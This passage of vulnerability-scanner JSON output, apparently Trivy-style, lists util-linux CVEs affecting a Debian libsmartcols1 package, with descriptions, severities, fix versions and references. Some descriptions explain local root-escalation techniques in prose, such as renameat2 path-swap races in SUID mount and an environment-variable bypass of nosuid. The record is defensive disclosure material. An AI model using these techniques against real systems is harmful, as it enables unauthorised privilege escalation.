"util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "780dbec0869ab8e" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:424f94e45cd470dff64ca5bd21f99987daa7613b60738c8726af5033734b6dbf", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "780dbec0869ab8e" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:91ad7f4dd22befc643735ed2c1dbcf9be56f15a938611bd62f354a728f4230d4", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "780dbec0869ab8e" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:30cb033b01ac17e72d15d0adbbe43298dc528b25eb61232f7a5e982f104438ac", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "780dbec0869ab8e" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:99de7f715b13dcf6fd6503c40a9bb82d583cc57a9f42cb15eb13ddff9477a8c8", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "780dbec0869ab8e" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:861e76e3f6af36bde3b707ccec4353c883969729972f6df0711bbb1cd027f9ec", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "780dbec0869ab8e" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ae7941179ec065d83c37d66bfa0d37d08b56752f4cb9e8f303052da69befbba2", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "780dbec0869ab8e" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:518ef25df8cb0d24b2cbd5d0a1d830544f6cae1c314b093104a01768170e5027", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", 